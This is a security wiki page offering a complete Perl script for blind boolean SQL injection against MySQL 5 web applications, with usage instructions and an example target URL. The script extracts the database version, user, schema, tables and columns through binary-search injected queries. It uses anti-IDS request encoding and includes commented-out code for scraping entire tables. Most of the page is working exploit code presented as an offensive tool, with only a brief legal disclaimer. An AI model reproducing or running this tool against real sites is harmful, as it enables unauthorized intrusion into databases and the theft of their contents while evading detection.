Questions about this topic? Sign up to ask in the talk tab.

SQL injection/mysqli-blindutils/sqli-p.pl

From NetSec
Revision as of 04:56, 12 March 2012 by LashawnSeccombe (Talk | contribs)

Jump to: navigation, search

Info

We have more tools coming soon! Look forward to Chimera Live CD.
c3el4.png
These are the offensive security tools developed by our wiki staff.
c3el4.png This script uses blind SQL injection and boolean enumeration to perform MySQL database mapping.

The syntax of this script is:

 perl mysql5enum.pl -h [hostname] -u [url] [-q [query]]

Example

Example:

 perl mysql5enum.pl -h www.target.tld -u http://www.target.tld/vuln.ext?input=24 -q "select system_user()"

Description

  • By default, this script will first determine username, version and database name before enumerating the information_schema information.
  • When the -q flag is applied, a user can supply any query that returns only a single cell
  • If the exploit or vulnerability requires a single quote, simply tack %27 to the end of the URI.
  • This script contains error detection : It will only work on a mysql 5.x database, and knows when its queries have syntax errors.
  • This script uses perl's LibWhisker2 for IDS Evasion (The same as Nikto).
  • This script uses the MD5 algorithm for optimization. There are other optimization methods, and this may not work on all sites.

Disclaimer

RPU0j.png The end-user is liable for his-or her own actions with the use of this software. Running this against a system you do not own without written authorization is a criminal act.

Source

#!/usr/bin/perl
use strict;
use Getopt::Std;
use Digest::MD5 qw(md5_hex);
use LW2;
 
my %options = ();
getopts("u:h:q:", \%options);
 
my $url     = $options{u};			# Vuln URL
my $host    = $options{h};			# Needs this for libwhisker
						# Format.
my $count   = 0;
 
if (my $q = $opts{q}) {
    $q =~ s/\ /%20/g;
    my ($cxr, $result) = runQuery($url,$host,$q);
    print "Query Result:\n\t$result\nCalculated in $cxr requests.\n";
    exit(1);   
}
 
# Get the Database Version
my $query = "SELECT%20VERSION()";
my ($tmp, $version) = runQuery($url, $host, $query);
$count += $tmp;
$count += 2;
print "\nDatabase Version:\t\t$version\nIn $count requests.\n\n";
 
# Get the Database Name
$query = "SELECT%20DATABASE()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database Name:\t\t$answer\nIn $tmp requests.\n\n";
 
# Get the Database Username
$query = "SELECT%20USER()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database User:\t\t$answer\nIn $tmp requests.\n\n";
 
 
if ($version =~ /5\./g)
{
	print "Enumerating Database Spec:\n";
	getSchema($url,$host);
	exit(1);
} else {
	print "This is not MySQL v5.x, so I can't enumerate the schema tables!\n";
	exit(1);
}
 
sub getSchema
{
	my $url       = shift;
	my $host      = shift;
	my $query     = "SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE())";
	$query        =~ s/ /%20/g;
 
	my ($c, $val) = runQuery($url,$host,$query);
	# $val = number of table names in the current database.
	for (my $i=0; $i < int($val); ++$i)
	{
		$query = "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT $i,1";
		$query =~ s/ /%20/g;
 
		my ($q, $table) = runQuery($url,$host,$query);
		print "$table:\n";
		# $table = table name 
		$query = "SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=";
		$query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=";
		$query .= "(SELECT DATABASE()) LIMIT $i,1)";
		$query =~ s/ /%20/g;
 
		my ($r, $fcount) = runQuery($url,$host,$query);
		# $fcount - number of columns in the table
		for (my $n = 0; $n < int($fcount); ++$n)
		{
			$query  = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=";
			$query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=";
			$query .= "(SELECT DATABASE()) LIMIT $i,1) LIMIT $n,1";
			$query =~ s/ /%20/g;
			my ($o, $field) = runQuery($url,$host,$query);
			print "\t$field\n";
 
# Uncomment the lines below to 
# scrape the entire database.
#			$query = "SELECT COUNT($field) FROM $table";
#			$query =~ s/ /%20/g;
#			my ($r, $total) = runQuery($url,$host,$query);
#			for (my $cn = 0; $cn < $total; $cn++)
#			{
#			    $query = "SELECT $field FROM $table LIMIT $cn,1";
#			    $query =~ s/ /%20/g;
#			    my ($e, $data) = runQuery($url,$host,$query);
#			    print "\t\t$data\n";
#			}
		}
	}
}
 
sub runQuery
{
	my $url   = shift;
	my $host  = shift;
	my $query = shift;
 
	my $qCount;
	my $qCH;
 
	my $pos     = 1;
	my $floor   = 0;				# Bottom of ascii keyrange
	my $ceiling = 255;				# Top of ascii keyrange
 
	my $spacer  = "%20OR%20";
	my $truth   = "62=62/*";
	my $lie     = "88=98/*";
 
	my ($true, $false) = makeTrueFalse($url, $spacer, $truth, $lie, $host);
	my $lenUri = "$url" . queryConstruct(0, 0, $spacer, $query);
	my ($qCH, $len) = getValue($lenUri, 64, 0, $true, $false, $host);
	$qCount += $qCH;
	my $results = "";
	while (($pos < $len) || ($pos eq $len))
	{
		my $uri = "$url" . queryConstruct(1, $pos, $spacer, $query);  #construct the actual URI
		my ($qCH, $value) = getValue($uri, $ceiling, $floor, $true, $false, $host);
		$qCount += $qCH;
		my $char = chr("$value");
		$results .= $char;
		++$pos;
	}
	return ($qCount, $results);
}
 
#Logrithm
sub getValue 
{
	my $uri     = shift;
	my $ceiling = shift;
	my $floor   = shift;
	my $true    = shift;
	my $false   = shift;
	my $host    = shift;
 
	my $nextmaybe;
	my $target;
	my $qCount = 0;
 
	my $maybe = int($ceiling/2);    # Get the middle of the total possible range of values
 
	while (not defined $target) {
		if (isGT($uri, $maybe, $host) eq $true)	
		{
			++$qCount;
			$floor = $maybe;
			$nextmaybe = int($maybe + (($ceiling - $floor)/2));
		} elsif (isLT($uri, $maybe, $host) eq $true)
		{
			++$qCount;
			$ceiling = $maybe;
			$nextmaybe = int($maybe - (($ceiling - $floor)/2));
		} elsif (isEQ($uri, $maybe, $host) eq $true)
		{
			++$qCount;
			$target = $maybe;
			return ($qCount, $target);
		}
		$maybe = $nextmaybe;
		if (($maybe eq "") || (!$maybe) || (not defined $maybe))
		{
			print "SQL Error caught!  Aborting!\n";
			print "At least 3 queries in error log!\n";
			exit(1);
		}
	}
}
 
# Is greater than?
sub isGT
{
	my $uri   = shift;
	my $guess = shift;
	my $host  = shift;
	return (md5_hex(download("$uri>$guess)/*", $host)));
}
 
# Is less than?
sub isLT
{
	my $uri   = shift;
	my $guess = shift;
	my $host  = shift;
	return (md5_hex(download("$uri<$guess)/*", $host)));
}
 
# Is equal to?
sub isEQ
{
	my $uri   = shift;
	my $guess = shift;
	my $host  = shift;
	return (md5_hex(download("$uri=$guess)/*", $host)));
}
 
# Ripped off from an older version of the scanner
sub download
{
    my $uri = shift;
    my $try = 5;
    my $host = shift;
    my %request;
    my %response;
    LW2::http_init_request(\%request);
    $request{'whisker'}->{'method'} = "GET";
    $request{'whisker'}->{'host'} = $host;
    $request{'whisker'}->{'uri'} = $uri;
    $request{'whisker'}->{'encode_anti_ids'} = 962;
    $request{'whisker'}->{'user-agent'} = "wget";
    LW2::http_fixup_request(\%request);
    if(LW2::http_do_request(\%request, \%response)) {
        if($try < 5) {
            print "Failed to fetch $uri on try $try. Retrying...\n";
            return undef if(!download($uri, $try++));
        }
        print "Failed to fetch $uri.\n";
        return undef;
    } else {
        return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
    }
}
 
sub queryConstruct
{
	my $type    = shift;
	my $pos     = shift;
	my $spacer  = shift;
	my $query   = shift;
 
	if ($type eq 0)		# Len
	{
		my $newQuery = "LENGTH(($query))";
		my $padding  = "(";
		my $ender    = "";
		return ("$spacer$padding$newQuery$ender");
	} elsif ($type eq 1) 	# String
	{
		my $padding = "((ASCII((LOWER((MID((";          # Begin query construct
		my $ender   = "),$pos,1))))))";                 # End query Construct
		return ("$spacer$padding$query$ender");  	#construct the actual query
	}
}
 
sub makeTrueFalse
{
	my $url    = shift;
	my $spacer = shift;
	my $truth  = shift;
	my $lie    = shift;
	my $host   = shift;
	my $trueMD = md5_hex(download("$url$spacer$truth", $host));
	my $falsMD = md5_hex(download("$url$spacer$lie", $host));
 
	# returns true, false
	return ($trueMD, $falsMD); 
}
 



MySQL 5 Enumeration
is part of a series on

SQL injection

Visit the SQL injection Portal for complete coverage.